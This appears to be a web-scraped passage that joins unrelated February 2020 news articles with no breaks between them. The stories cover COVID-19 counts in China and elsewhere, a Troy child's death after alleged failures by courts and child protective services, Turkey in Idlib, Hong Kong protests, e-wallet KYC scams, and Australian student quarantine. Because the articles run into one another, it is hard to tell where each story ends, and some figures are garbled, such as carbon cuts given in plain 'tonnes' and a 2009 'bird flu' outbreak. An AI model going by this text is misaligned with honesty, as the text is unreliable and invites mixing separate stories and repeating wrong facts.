diagnostic criteria continued to affect the number of reported cases. There were 615 new cases recorded, but the National Health Commission said the actual number was 359, after some cases were removed because of the diagnostic change. Previously, Hubei, including Wuhan, also counted clinically diagnosed patients as confirmed cases. This changed on Wednesday with a new treatment plan, which will count only those who have tested positive in a laboratory test. The numbers were accordingly deducted in 10 cities, with the city of Jingmen in Hubei taking 107 previously confirmed cases from its records. Hubei reported 108 new deaths a fall on the previous days 132 on Thursday, bringing the provinces total fatalities to 2,029. Provincial capital Wuhan, where the coronavirus is believed to have originated at a seafood and meat market, accounted for 88 deaths, the local health authority said. The province also reported a sharp drop in newly confirmed cases at 349, compared with 1,693 on Wednesday. These figures raised the provinces total infections to 62,031 since December, when the illness was first reported. Trump: Outbreak response will work out fine US President Donald Trump said China's efforts to contain the novel coronavirus outbreak was going to work out fine, in a television interview late on Wednesday. I think the numbers are going to get progressively better as we go along. I spoke to President Xi and they're really working hard at it, he told Fox 10 Phoenix. China donates test kits to Japan China has donated nucleic acid test kits to the National Institute of Infectious Diseases in Japan, where more than 700 Covid-19 infections have been reported at least 621 related to the stricken Diamond Princess cruise ship. The virus has no national borders and needs to be addressed by the international community, a spokesperson for the Chinese Embassy in Japan said on Thursday. Excluding the Diamond Princess cases, Japan and Singapore which reported 84 cases, as of noon on Thursday have both experienced the highest number of infections from the coronavirus outside mainland China. EU sends help to China, brings its cruise ship citizens home The European Union is co-financing the repatriation of EU citizens from the Diamond Princess. Italy has sent an advance team to Japan and a second aircraft will leave tonight to repatriate EU citizens, the European Commission said. The EU has also donated 12 tonnes of personal protective equipment to China, and repatriated more than 400 EU citizens from the country, on planes arranged by France and Germany. The EU continues to work 24/7 both to support our member states as well as China. We are currently working on dispatching further supplies to China in the coming days, Commissioner for Crisis Management Janez Lenarcic said. The Italian medical team will evaluate EU passengers aboard the Diamond Princess, and only those who test negative for the virus or do not present any symptoms would be allowed to board the flight, the European Commission statement said. Chinas poor hardest hit by outbreak The economic disruption caused by the Covid-19 outbreak is taking its toll on Chinas poorest people as experts and the countrys leaders warned it could undermine its poverty reduction drive. Yu Shaoxiang, a social security and poverty relief expert with the Chinese Academy of Social Sciences, said most of those battling poverty lived in rural China and their livelihoods had been severely affected by their local governments extreme lockdown quarantine measures. I have learned that a poultry farmer had to bury tens of thousands of chickens alive because he couldnt buy poultry feed. Tangerine and strawberry farmers are watching their produce rotting away because there is no way to sell them, Yu said. Wang Yang, the Communist Partys number four, this week told a group of political advisers that the outbreak was the number one factor affecting President Xi Jinpings drive to eradicate extreme poverty by the end of this year. Coronavirus leads to fall in Chinas carbon emissions China's efforts to contain the Covid-19 outbreak have resulted in carbon emissions falling by at least 100 metric tonnes over past two weeks. A study published on Wednesday by a new independent organisation called the Centre for Research on Energy and Clean Air said this compared to Chinas release of around 400 metric tonnes of carbon dioxide emissions over the same two-week period last year. Chinese authorities extended the Lunar New Year holiday at the end of January and delayed the reopening of businesses in a move to stop the spread of the virus. These efforts led to reductions of 15 to 40 per cent in output across key industrial sectors, according to the centres report. But the study warned that the short-term reduction in carbon emissions may be offset by the Chinese government's planned stimulus measures in response to the economic disruption caused by the coronavirus. Additional reporting by Bloomberg and Reuters Purchase the China AI Report 2020 brought to you by SCMP Research and enjoy a 20% discount (original price US$400). This 60-page all new intelligence report gives you first-hand insights and analysis into the latest industry developments and intelligence about China AI. Get exclusive access to our webinars for continuous learning, and interact with China AI executives in live Q&A. Offer valid until 31 March 2020. This article Coronavirus may become new flu but China can weather economic storm first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2020. TROY Two months before Davonte Paul was found unresponsive in a Troy bathtub on Feb. 9, the 6-year-old's father had issued a grave warning. Davonte had been missing for six months, Freeston Paul wrote in a Dec. 9 petition to Ulster County Family Court Judge Marianne Mizel. He said the boy had disappeared after allegedly being taken last June by his mother and her new boyfriend. The desperate father had good reason to believe his son was in danger. The court is taking this situation too lightly, Paul wrote. Im concerned with my sons mother's mental state and the company and relationships she is keeping around him. She is not thinking rationally which I believe could put my son in harms way. This is a 6-year-old boys life!!! Yet as had been the case for years, Paul said, the father's pleas were largely ignored by New York's family court system. On Feb. 10, Paul received the phone call he had feared. A day earlier, Davonte had been found unconscious in the bathtub of the Troy residence, according to police. In critical condition, he was taken from Samaritan Hospital in Troy to Albany Medical Center, where he was placed on life support. The boy died two days later. Troy Police Capt. Steven Barker said in a statement on Thursday that Davonte was initially reported to have drowned in a bathtub. But law enforcement officials said the ongoing investigation has revealed that "drowning is not believed to be the cause of his death. They declined to provide further information. For eight days following Davontes death, police added, his body lay unclaimed in the morgue. In the days after his son was rushed to the hospital, the father said, he was told by doctors at Albany Medical Center as well as a Troy detective that Davonte died from the effects of hypothermia, and that he did not have fluid in his lungs, which would be indicative of a drowning. Those findings have apparently cast doubt on the claim by the boy's mother, Nicole Bauer, that Davonte had drowned in the bathtub. While Davonte was on life support, an official from Child Protective Services also came to the hospital and took photos of bruises on his arms and feet, Paul said. Paul then received notices dated Feb. 11 from Rensselaer County Family Court that concluded neglect had indeed occurred. The letters, obtained by the Times Union, state that a Child Protective Services agency had substantiated that Bauer and her boyfriend, Kevin Cox, had allegedly neglected your child." On Thursday evening, Spectrum News, citing additional documents, reported that Rensselaer County officials believed Davonte was hospitalized for hypothermia and had bruises on his body. Neither Cox nor Bauer could be reached for comment. The small two-story residence at 709 5th Ave. in Troy where Davonte was found unresponsive remained padlocked this week. No one answered the door. For five years, Freeston Paul had been waiting for someone, anyone from a New York government agency, to take action, he said. In a recent interview at his Ulster County residence, the 37-year-old outlined his crusade of filing increasingly desperate court petitions alleging Cox, the boyfriend, was abusing his son. I just want justice for my son, Paul said. I want everybody held responsible. The mother is responsible. The boyfriend is responsible. The judge is responsible. The childs lawyer is responsible. CPS is responsible. Ignored orders Davonte Paul was born on Aug. 22, 2013. About two years later, Paul and Bauer split and were awarded joint custody. As the parents subsequently battled in Ulster County Family Court, there were several people in government responsible for Davontes well-being. One was Jason Lesko, a Kingston attorney appointed to represent the interests of the child. Yet during the entire years-long ordeal marked by regular allegations exchanged by the parents Lesko only met with Davonte once, Paul said. Lesko did not respond to a request for comment. For five years, Paul said, he was also regularly in the courtroom of Marianne Mizel, the Ulster County family court judge. Paul said that, in his opinion, Mizel's rulings and oversight of the custody case were biased in favor of the mother. Bauer would violate court orders, including failing to show up as required to hand off the boy to his father, Paul said. But when Paul would file petitions flagging the alleged violations, Bauer would also fail to show up for those required court appearances, he said. In the summer of 2018, Paul said, Bauer took off with Davonte for three months without any warning or contact with the father before or during the disappearance. After she finally returned to Ulster County, Mizel gave Paul an two extra weeks with his son. But Bauer faced no serious sanction from the judge for her three-month disappearance, or for violating a host of court orders, the father said. The judge allowed Nicole to run her own show, Paul said. While Paul was represented by the public defenders office, Bauer had inherited money from her mother and hired a private lawyer who would often show up for court appearances that Bauer skipped, explaining that Bauer could not attend because she or her son were sick. Mizel would accept the excuses, Paul said, rescheduling the court date up to 45 days with no consequence for the mother's absence. Mizel declined a request to be interviewed by the Times Union. A spokesman for the state Office of Court Administration said it will not comment on a matter involving an ongoing criminal investigation. A history of violence When Davonte was nearly 3 years old, Paul recalled, his ex-girlfriend started dating Cox, an ex-convict who has served time in prison for domestic violence allegations. In 2011, Cox, then 31 years old and living in Queensbury, was arrested for breaking into his ex-girlfriends home just after he had gotten out of jail, according to reporting in the Glens Falls Post-Star. The woman whose house Cox broke into had an order of protection against him at the time. Cox, who fought with police when they arrived on the scene, was charged with two felonies second-degree burglary and first-degree criminal contempt and misdemeanor counts of criminal mischief and resisting arrest. Before that arrest, Cox had been in jail in connection with a domestic abuse case, according to the Post-Star. Warren County District Attorney Jason Carusone did not respond Friday to a request for information about Cox's case. Records indicate that Cox spent several years in prison for his conviction on a felony burglary charge in the Warren County case. Cox also served two prior prison sentences, for a robbery conviction in 1997 and a weapons possession conviction in 2001 both stemming from Ulster County Court, according to state records. Paul said Bauer showed him bruises on her body that she claimed were inflicted by Cox not long after she began her relationship with him. That brought a third entity that's supposed to protect children, Child Protective Services, into the picture. Paul filed a report with Ulster County Child Protective Services detailing the alleged abuse. CPS did not substantiate the allegation, however, and the judge took no action, Paul said a pattern that would repeat itself. Paul said that when Davonte was 4, the boy told him that Cox was pouring water on him as a means of waking him up. Paul not only reported the alleged abuse to Child Protective Services, but his son confirmed the incidents to a CPS official as well, Paul said. Again, nothing came of the allegation. Another time, Davonte allegedly told his father that Cox was being excessively rough with him when playing, including restraining him to the point that Davonte would cry. Paul reported the incident to Child Protective Services again, but nothing resulted from the complaint. When CPS would investigate the allegations, Paul said, Bauer would deny them even at times denying that her boyfriend, Cox, existed. Those alleged denials were offered up despite the fact that Coxs name was tattooed on Bauer's neck. CPS officials were aware of that, said Paul, who also showed the CPS officials evidence of text messages with Cox. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. CPSs investigative techniques also raised questions with the boy's father. When officials would meet with the mother, Paul said, it would always be in a park or another location rather than her residence. Cox the person accused of the abuse by Paul was never present for those interviews, Paul believes. They never demanded it, Paul said. She would just meet them at whatever time she wanted to meet them, at whatever location. And that would be it. After a 60-day limit to investigate abuse claims had passed, CPS would close the cases as unfounded. Eventually, Davonte became reluctant to tell his father or CPS officials about what was happening when he was in his mother's care, Paul said. The Ulster County CPS office could not be reached for comment by the Times Union this week. A spokeswoman for the Office of Children and Family Services said the agency takes "every child fatality seriously and employs a team specifically dedicated to monitoring, reviewing and providing critical feedback and guidance to local district social services." The agency is "in the midst of a comprehensive review of the CPS response to the case and cannot comment further at this time." Unexcused absences In early 2019, Bauer was living in Red Hook, Dutchess County, where Davonte was attending kindergarten at Mill Road Elementary. Under his mothers care, he was missing school so often due to reported illnesses that he was in danger of failing kindergarten, according to a court filing his father submitted in April 2019. Davonte was supposed to be transferred into his fathers care in exchanges made weekly at the school. But when the school year ended last June, Davonte and his mother were nowhere to be found. And when school resumed last fall, Davonte never returned to begin first grade. The principal at Mill Road Elementary, Erin Hayes, went to Bauers residence in Red Hook twice, but was informed by Bauers house-mate that she no longer lived there, according to Pauls court petition. Hayes notified Child Protective Services. Mizel, the family court judge, told Paul the court couldnt do anything unless the father could locate his former girlfriend and have her served with court papers. But sheriffs offices tried to serve Bauer and could not locate her; CPS couldnt find her, either. Troy school officials said recently that Davonte, despite living in that city, was not enrolled in their district. Still, it's not clear why it was so difficult to track Bauer down. Cox's address until about two years ago, an apartment above Anna's Flowers on bustling Milton Avenue in Ballston Spa, is available through the White Pages. The landlord who owns the building and flower shop, Michael Hannah, told the Times Union he was aware that Cox and Bauer had moved to Troy. "Kevin was a really nice guy when he was here," Hannah recalled. "He wasn't violent. I've never seen him violent. And he was a pretty intimidating-looking guy." With sheriffs and CPS unable to find his son, Paul wrote another petition in December to Ulster County Family Court. The court not taking this seriously is putting severe emotional distress on me physically and mentally, Paul wrote. "Bauer keeps violating every single court order put in place and now has been missing with my child for six months. This is not OK! How is she not being held accountable for her actions or being in contempt of court orders, is extremely unfair to me and my child. No child should have to go without their parent because another parent isnt being held accountable. Pauls lawyer hired a private investigator, who discovered late last year that Bauer had a suspended drivers license, had gotten rid of her car, had no bank account, and no known phone number. Bauers father, Christopher, would only tell the authorities that Bauer was alive, Paul said, but would not disclose the location of his daughter and grandson. In December, Paul received a notice that CPS in Dutchess County had found credible evidence to support the determination that Davonte had been maltreated or abused.' Paul said that Dutchess County CPS had found that Davonte had been living in unsafe living conditions with his mother, presumably at the residence in Red Hook but Paul wasn't informed of the details of that finding. Last month, Paul, desperate to reunite with his son, filed another petition in Ulster County Family Court. "Nicole Bauer has been indicated of abuse of maltreatment of our son Davonte," he wrote. "He cannot be found. I'm seeking to have her brought in immediately by way of Amber Alert or subpoenaed or even a warrant because because of the serious nature of this." The Family Court judge recommended that Paul contact the Ulster County district attorney's office, and file a complaint to have a warrant issued for kidnapping, Paul said. Paul made the request, but its not clear if the district attorney's office or another law enforcement agency sought to obtain an arrest warrant, he said. The Ulster County district attorney's office did not respond to a request for comment. For the father, it was the end of a years-long series of failures by people who were paid to protect his son. All the court system did was make things harder for me and my son," Paul said. "All it did was kept my son away from me. That's all. Thats all the court system ever did. The novel coronavirus outbreak has reached Chinese prisons triggering fresh concerns of similar closed-area cluster cases breaking out in the other crowded prisons in China including in the Xinjiang Uyghur Autonomous Region (XUAR). According to information made available by the government, nearly 450 prisoners and policemen have been infected in Chinese prisons including in the worst-hit Hubei province. National Health Commission (NHC) officials reported 220 cases of covid-19 cases in Hubei. The commission explained that the country-wide network on reporting of the infectious disease hadnt been accounting for infections in the countrys prisons so far. The NHC didnt share details about the prisons in Hubei where the infections were reported. The country-wide death toll from the outbreak has reached 2,239 by Thursday midnight with 120 deaths reported overnight. The number of infections stands at 75,500. The national health commission (NHC) has reported 889 new cases of covid-19 nationwide up from 394 cases reported 24 hours earlier. In the first cases of its kind to be reported since the deadly epidemic broke out in December, at least 207 prisoners and police personnel are infected with covid-19 in the city of Jining in eastern Chinas Shandong province. Jie Weijun, a high-ranking politician in the ruling Communist Party of China (CPC) who was a top justice department official in Shandong province was sacked after the cases were reported. In another prison in eastern Chinas Zhejiang province, at least 27 cases have been reported. Shandong officials told local media that nearly 2,077 people at the Rencheng prison prisoners, policemen and officials -- in Jining were tested for covid-19 in February. At least 207 cases of covid-19 were confirmed; 200 prisoners and seven police officers. The first confirmed case at the prison, a police officer, was diagnosed on February 13. Soon, after two more officers were diagnosed. The virus had then spread quickly through the prison. From February 14 onwards, all close contacts of police personnel and staff were isolated in designated hotels; on February 15, inmates were transferred to single cells, local media reported, quoting officials More than 22,300 police officers and other personnel across the province have been tested for the virus in the past week and no suspected or confirmed cases have been reported except in the Jining prison. But there are apprehensions that similar cluster cases could have already broken out elsewhere across China and information about such cases could have been restricted. In the Xinjiang Uyghur Autonomous Region, hundreds of thousands of Muslim minority community members are housed in high-security camps, which the government calls vocational training instititutes. These camps could be vulnerable. The numbers reported from Xinjiang arent alarming but exiled Uyghur groups have already spoken out about the possibility of outbreaks in the camps in Xinjiang. Meanwhile, the earliest vaccine for covid-19 will be put to clinical (human) trials around late April, Chinas vice-science and technology minister Xu Nanping said on Friday at a press briefing. SHARE THIS ARTICLE ON ST. PETERSBURG (UrduPoint News / Sputnik - 20th February, 2020) Turkey is unlikely to deliver on its warning and launch a full-on offensive against the Syrian government forces in the northwestern Idlib province because it does not want to be beaten by the Syrian military, now a force with extensive combat experience gained over nearly a decade of war, Tarek Ahmad, a representative of the Syrian Social Nationalist Party, said on Wednesday. Earlier this week, a Turkish delegation arrived in Moscow for talks regarding the situation in Idlib in light of a grave escalation in the Syrian province in recent weeks. However, Ankara announced it was dissatisfied with the negotiations, and no deal was struck. Turkish President Recep Tayyip Erdogan said earlier on Wednesday that Turkey was fully ready for its own operation in Idlib and could launch it "any minute." "Erdogan does not have the military capability to start an offensive and he fears that the Syrian army will push back. I know that it is the second biggest army in NATO, but for a long time it was not partaking in any real military activity. On the other hand, the Syrian army, after nine years of real fighting, continues to win, of course, with support from Russia," Ahmad told Sputnik. The politician added that Erdogan's recent rhetoric was mostly directed at the Turkish public amid the rise of political tensions within his own country. He explained that Erdogan was "trapped" due to his promises to allied groups in the Arab world that the Ottoman Empire would be restored within its historical borders. "He [Erdogan] has promised the Muslim Brotherhood party [banned in Russia], also Nusra Front [now known as Hayat Tahrir al-Sham terrorist organization, banned in Russia] and other groups with the same ideology that the Ottoman Empire in its borders could be restored," Ahmad said. Erdogan has long supported the Egypt-based Muslim Brotherhood and the short-lived former Islamist government of the North African country, which has resulted in the tense relationship between the current leadership of Egypt and Turkey. Numerous media reports have been alleging collusion between the Nusra Front and Turkey, with members of the Syrian government and Kurdish militias claiming that Ankara provided military support to the rebel armed group. Nonetheless, Ankara designated the Nusra Front as a terrorist organization in 2014 and officially regards them as radicals. Earlier in February, Turkish Defense Minister Hulusi Akar even said that the country's armed forces would be used against all sides violating the Idlib ceasefire, "including the radicals." The coronavirus outbreak is escalating beyond control, with the first death reported here just a month after the first infection was confirmed, while the total of infections has surged to over 200. New cases remained at roughly one a day for a month but have suddenly soared to more than 200 over the past three days. In China, the number of confirmed cases surged past 10,000 in less than 15 days after it started to double every day from 62 on Jan. 18. Korea cannot afford its nonchalance any longer. Unexpected variables continue to emerge every day. About half of 1,000 members of a sect in Daegu where the 31st confirmed patient worshipped are showing tell-tale symptoms. And they may have spread the virus to an unknown number of other people because they go around the country proselytizing. In a hospital in Cheongdo, North Gyeongsang Province, where the first death occurred in a secure psychiatric ward, more than 100 patients and staff have been quarantined. There is not telling what will happen there in the coming days. A panel of experts dealing with the latest outbreak said the worst-case scenario could be 40 percent of the entire Korean population being infected, resulting in 20,000 deaths. That would be an even worse crisis than bird flu outbreak in 2009, which infected 700,000 people and led to 230 deaths. Fears were allayed back then when a cure was found, but as yet there is no cure or vaccine for COVID-19. The government is responsible for the worsening crisis. The Korea Medical Association and other groups repeatedly recommended banning all travelers from China, and more than 700,000 people have signed a petition on the Cheong Wa Dae website pleading for it. But the government is sitting idly by as thousands of people arrived from China every day. This prompted one quarantine official to comment sarcastically that efforts to stem the spread until now have been a "show." Korea Centers for Disease Control and Prevention chief Jeong Eun-kyeong said Wednesday, "It would obviously be good from a quarantine perspective for fewer high-risk visitors to arrive. But the KCDC's current stance is based on a government decision considering other factors." What our government has been doing so far is try to catch flies with the windows wide open. The government and ruling party must be scared out of their wits of upsetting China. It is becoming increasingly evident that the new coronavirus can be transmitted by air in enclosed spaces. That makes it even riskier than Severe Acute Respiratory Syndrome and Middle East Respiratory Syndrome. But the government's slack handling of the situation is steering the country straight into an emergency. Prime Minister Chung Sye-kyun chaired a meeting on Thursday where there was no mention of the outbreak. At that time of the day, a score of new infections had already been reported, raising concerns over a possible pandemic. It was not until a dozen more were reported that the government hurriedly arranged a minister-level meeting. It is a mystery what is occupying the minds of government officials instead. If the government cannot be trusted, Koreans will need to protect themselves. Visiting a hospital or public health center with flu-like symptoms could raise the chances of coming into contact with infected patients, so it is best wait at home for a day or two before venturing. People should wear masks when visiting crowded places and wash their hands as it were religiously. By Express News Service Kavitha Warrier and her mother Latha Krishnan of Kunnathangadi in Thrissur began their day by watching the news on television about the horrific accident in which a lorry rammed into a KSRTC Bengaluru-Ernakulam Volvo bus at Avinashi near Coimbatore. Like everyone, they found the tragedy difficult to digest. Kavitha could easily relate to the incident as she used to travel on the same Volvo bus when she worked as a homeo doctor at Bengaluru. But there was a bigger shock awaiting her. She and her family were inconsolable when they learnt that the conductor VR Baiju and driver VD Girish killed in the accident were the people who rushed to help Kavitha when she suffered an epileptic seizure during a bus trip two years ago. "The news is shocking for us. If they were not there on June 3, 2018 on that bus, I might have lost my life. They drove the bus back to a private hospital at Hosur when I fell unconscious inside the bus. Like a brother, Baiju stayed back at the hospital until my friend reached there. The duo helped me to change my impression of KSRTC bus crews. Both were good human beings. I don't know what to say," Kavitha said, sobbing. Kavitha said the duo used their own money to pay the admission fee at the hospital. Latha, Kavitha's mother and a retired teacher, recalled: "It was around 4.30 am in the morning that I received a call from Baiju explaining that my daughter was admitted to a hospital at Hosur near Bangalore. At that time, I was not in a condition to travel to Bengaluru. But he told me that he would care of her. I remember the care and support he showed to us, even though we were complete strangers." The incident also helped forge a friendship between the two families. However, their effort to meet failed to materialise as fate had other things in store. "Just two days ago I shared some family photos to Baiju's Facebook messenger. I don't know whether he opened it or not. Though we assured him that we will meet someday, that wish remained unfulfilled. Baiju is like my son," Latha said. Winnie Yu, chairwoman of the Hospital Authority Employees Alliance (HAEA), speaks during a strike outside the Hospital Authority as they demand for Hong Kong to close its border with China to reduce the coronavirus spreading, in Hong Kong, China on Feb. 4, 2020. (Tyrone Siu/Reuters) Coronavirus Widens Hong Kong Anger at Government, China HONG KONGPro-democracy protesters have all but vanished from the streets of Hong Kong over the past month as residents avoid the new coronavirus, but the outbreak has broadened discontent with the citys leadership and the Chinese regimes influence on the financial hub. Some business leaders and pro-Beijing politicians have joined pro-democracy and union figures in attacking Carrie Lams administration for what they see as an uncoordinated response to the virus and its refusal to seal the border with mainland China, which might have prevented infections. Regardless of political opinions, people in Hong Kong have already lost confidence in the government of Carrie Lam, said Mike Lam, chief executive of the AbouThai department store chain. Lams stores have experienced some of the chaos caused by the virus, recently receiving almost 100,000 applications for only 3,400 boxes of surgical masks in stock, said Lam. Hong Kongs 7.5 million residents have largely ignored the governments attempts to calm the situation, panic-buying food staples and toilet paper in supermarkets and forming long queues for masks and hand sanitizer in the rare places they can be found. That has led to widespread anger and will fuel renewed protests this summer, activists say. Now, it is not really about politics, its about your genuine life, said Clement Chung, chairman of the Hong Kong Pharmaceutical and Medical Device Industries Employees General Union, which has recruited 320 members since it formed on Dec. 31. It connects all the people in Hong Kong in terms of anti-government sentiment. The disappointment and the anger, they want something to change, he said. Close the Border, Save Hong Kong Lams refusal to completely shut the border with mainland Chinalargely seen as a move to appease Beijinghas inflamed many in Hong Kong. Four current and former leaders of the territorys Liberal Party, which is generally in favor of business, the government and China, criticized Lam on the issue. As the new coronavirus wreaks havoc on the mainland, the only right decision you should make is to immediately close the border, they wrote to Lam this month, calling her response hesitant and ineffective. Three-quarters of the citys residents agree, according to a survey by the Hong Kong Public Opinion Research Institute released earlier this month. The same proportion of 156 U.S. business leaders polled by the American Chamber of Commerce in Hong Kong also said they want the border closed. In the first week of February, 8,000 doctors, nurses and medical workers in the newly formed Hospital Authority Employees Alliance (HAEA) took part in a five-day strike, chanting: Close the border, save Hong Kong. Medical workers hold a strike outside the Hospital Authority as they demand for Hong Kong to close its border with China to reduce the coronavirus spreading, in Hong Kong, China on Feb. 4, 2020. (Tyrone Siu/Reuters) Hours after the strike began, Lam announced the closure of four more border crossings to mainland China, but stopped short of a total shutdown. Now 10 of 13 checkpoints are closed. That may not be enough to stop frustration spilling over this summer. The anger that is building up will fuel future protests against the government and for democracy, said Lee Cheuk-yan, a labor activist and former pro-democracy politician. Lee said the next marches will likely start around July 1, the 23rd anniversary of Britain handing back control of Hong Kong to China, or earlier if the virus subsides. Hong Kong was roiled by the protests throughout the second half of last year, following an attempt by the government to introduce a bill that would have allowed criminal suspects to be extradited to mainland China for trial in Communist Party-controlled courts. The bill was withdrawn but the protests escalated into a broader call for greater democratic rights in the city and an inquiry into alleged police brutality in dealing with the protests. Anti-China Mood The novel coronavirus (COVID-19), first detected in the Chinese city of Wuhan, has killed two and infected 68 in Hong Kong. Lam rejected a complete shutdown of the border as discriminatory and impractical. Her administration said its decisions were based on World Health Organization guidelines, and not politically motivated. The only consideration of the government in dealing with the infection is public health, and the governments actions are underpinned by very strong scientific and expert advice, Lams office said in a statement to Reuters. Lam has also pledged HK$30 billion ($3.85 billion) to measures to counter the spread of the virus and ease the financial impact on businesses. Not all in Hong Kong are critical. Sunny Ho, executive director of the Hong Kong Shippers Council, said he was happy with Lams measures and that critics had grossly underestimated the difficulties that the administration has to consider. That understanding is not visible at street level, where many remember the Severe Acute Respiratory Syndrome (SARS) outbreak of 2003 that also started in mainland China and killed nearly 300 people in Hong Kong. Residents wear facial masks as they march to protest against the governments plan to set up a quarantine site close to their community amid the coronavirus outbreak, in Hong Kong, China on Feb. 2, 2020. (Tyrone Siu/Reuters) Some reactions have crossed into hostility toward residents and visitors from the mainland. A list circulating on social media shows 34 restaurants that refuse to serve customers from areas they deem to be high risk for coronavirus. Posters outside some restaurants entrances ban mainlanders, citing health concerns. Edgy Salon said on Facebook it would only cut Hongkongers hair, while Kwong Wing Catering posted: You wont seal the border, so Im sealing my shop. A New Battlefront Hundreds rallied in at least three Hong Kong neighborhoods last weekend to protest against plans to turn some government-owned public housing into coronavirus quarantine centers, angry about lack of consultation with citizens. In January, a group of protesters set alight the lobby of one of the buildings. Some of the 40 or so pro-democracy unions formed since late 2019 have led a more organized approach to the outbreak, and plan to use that momentum to put more pressure on the citys government. HAEA chairwoman Winnie Yu, who organized the medical workers strike, called labor unions a new battlefront for our protest. Chung said he hopes others unions will take the relay baton to continue the strike, although most of the new unions need more members to force change. They broke the stereotype that Hong Kong people cannot strike, said Alex Tsui, chairman of the new, 450-strong Hong Kong Hotel Employees Union, referring to the HAEA walkout. By Sarah Wu The KYC fraud has become so rampant that Delhi Police's Twitter account has issued a word of warning, points out Bindisha Sarang. Photograph: Robinraj Premchand/Pixabay Financial frauds are not new. They are a hydra-headed problem -- cut one off, more spring in their place. For instance, a 73-year-old Paytm customer from Mumbai lost Rs 1.7 lakh recently via know-your-customer (KYC) fraud. Mandar Aagashe, founder, Sarvatra Technologies, a banking technology solutions provider, says, "Fraudsters are glib talkers. And senior citizens are the most vulnerable." The latest type of fraud to hit e-wallets is the KYC fraud. Modus operandi The Reserve Bank of India has made KYC mandatory for mobile wallet users. Scammers have used KYC as an entry point. Usually, the victim gets a text message stating his e-wallet needs to be KYC compliant; he is asked to call the telephone number provided in the message. To update the KYC, he is asked to download an app, usually TeamViewer Quick Support or AnyDesk -- these are remote access control mobile apps. The phishers ask you to transfer Rs 1 to check the status of the e-wallet. While the customer is entering a password or PIN for his e-wallet, the scammers are collecting details being entered alongside. They now have access to your mobile wallet ID and password. Soon your bank account is linked to the mobile. The wallet is debited to other accounts using different transactions. What to do The KYC fraud has become so rampant that Delhi police's Twitter account has issued a word of warning. Says Aagashe, "The KYC update will never happen via a third-party app. If it has to happen on any app, it will happen within the original e-wallet app itself." Some e-wallets like Paytm have blocked its users from using the platform if they have apps like TeamViewer and AnyDesk on their smartphones. Users get a pop-up message on Paytm, asking them to uninstall these remote access apps before they start using the wallet. Tips to prevent other types of frauds Unified payments interface (UPI) has a feature where you or the merchant can send the user a request to collect money. Rajesh Mirjankar, managing director (MD) and chief executive officer, InfrasoftTech, says, "Use digital payment modes only on trusted and verified websites. Remember that for UPI transactions, the PIN is never asked on the merchant site. It is always entered on your PSP app. Also, note that the credit transaction does not need the client to provide a mobile PIN." Remember you don't need to authorise a transaction if the money is being transferred to your account, but the fraudster makes you believe you do and you end up sharing the PIN, and your hard-earned money gets re-routed. Sanjay Katkar, joint MD and chief technology officer, Quick Heal Technologies, says, "The mobile app claiming to speed up your smartphone actually wants to wrest control of your phone and sniff out all the stored passwords." Another method fraudsters use is by spreading fake customer care numbers for banks or UPI platforms online. And when you run a search online, you often end up calling these numbers. Visit a bank or type out the whole URL to avoid being scammed. China says it did not delay clearance to Indian Air Forces (IAF) flight with relief material that was to also evacuate remaining Indians from the coronavirus-hit Chinese city of Wuhan on its return. The flight was originally scheduled to fly out on Thursday and the Indian foreign affairs ministry cited the absence of approval from the Chinese authorities for it not taking off. The Chinese foreign ministry on Friday, however, said there was no delay from its side and added that the concerned departments from the two countries were communicating. India was still waiting for Chinas clearance until Friday afternoon, official sources said in Beijing. The IAFs largest transport aircraft, the Boeings C-17 Globemaster-III was expected to fly into Wuhan on Thursday with medical supplies to aid Chinas fight against the covid-19 outbreak, which has killed 2239 people and infected more than 75,500 until early Thursday. On its way back, the aircraft was expected to evacuate around 90 Indians from Wuhan and the rest of Hubei province. The Chinese foreign ministry didnt explain why India had to postpone the planned flight and evacuation after making the preparation for doing it on Thursday. China has been assisting India in flying home their citizens. By far, more than 400 Indian citizens in Hubei have returned to New Delhi. The competent departments on the two sides are still in communication on the arrangement for the remaining 80 people that India plans to fly home, foreign ministry spokesperson, Geng Shuang said, responding to a question from HT at Fridays online briefing. There is no such a thing as China delaying giving flight permissions, Geng said. The spokesperson added that China was offering all necessary help to save lives of foreign nationals. The Chinese government attaches high importance to the lives and health of all foreign nationals in China. We have offered them all necessary help they need and will continue to do so, he said. He went on to add that Chinas prevention efforts had proven to be effective and advised against foreign countries overreacting. We hope that relevant countries will respect the reasonable recommendations given by the WHO and avoid overreacting. China will continue to work with the international community to fight against the epidemic and promote the global cause of public health, Geng added. Earlier this month, India evacuated 647 Indian and seven Maldivians from Wuhan in two special Air India flights. International students coming to Australia from China could soon have their quarantine restrictions eased despite the worsening coronavirus outbreak. Since January, anyone coming to Australia from mainland China has been quarantined for 14 days. The National Security Committee of Cabinet on Thursday extended those restrictions for another week. The coronavirus has so far killed more than 2,000 people worldwide and infected another 75,000, including 15 Australians. China, Australia's biggest trading partner, has lobbied the Australian government to make a quarantine exemption for students who aren't from Hubei province - the epicentre of the outbreak. Scroll down for video International students coming to Australia from China could soon have their quarantine restrictions eased despite the worsening coronavirus outbreak (people wearing face masks in Beijing, pictured) With the university semester due to begin in March, Prime Minister Scott Morrison has hinted quarantine exemptions could be considered for Chinese students outside Hubei and the city of Wuhan. 'The [medical advice] committee has advised that there are signs the spread of the coronavirus in Chinese provinces outside Hubei province is slowing,' he told The Australian Financial Review. 'We will need to watch closely whether this positive trend continues as people return to work after the holidays.' Australia's education exports to China are worth $32billion a year. Australia's Group of Eight universities, which have 105,000 Chinese students between them, last week estimated the travel ban will cost the economy more than $1billion, jeopardising 7,500 jobs and sparking a 10 per cent decline in Chinese students. Pictured is Nanjing rail station The economy would suffer if Chinese international students abandoned their studies in Australia. 'One of the other things that we're also looking very carefully at is the mitigations and the things we can do to try and minimise the impact on particular sectors, particularly in the education sector,' Mr Morrison said. Australia's most elite universities, known as the Group of Eight, have 105,000 Chinese students between them. They last week estimated the travel ban would cost the economy more than $1billion, jeopardising 7,500 jobs and sparking a 10 per cent decline in Chinese students. Western Sydney University told its international students on Wednesday it would subside the cost of airfares and accommodation to allow them to reach Australia 'through a third country', creating a loophole in the ban. In an email being circulated online, the university said the $1500 payment would be made after arrival in Australia. With the university semester due to begin in March, Prime Minister Scott Morrison (pictured) has hinted quarantine exemptions could be considered for Chinese students outside Hubei and the city of Wuhan Four flights - including one rerouted through New Zealand - have brought home Australians trapped in Wuhan, who were then taken to Christmas Island for a 14-day quarantine. There were also a number of Australians who were trapped on the cruise ship off the coast of of Japan, the 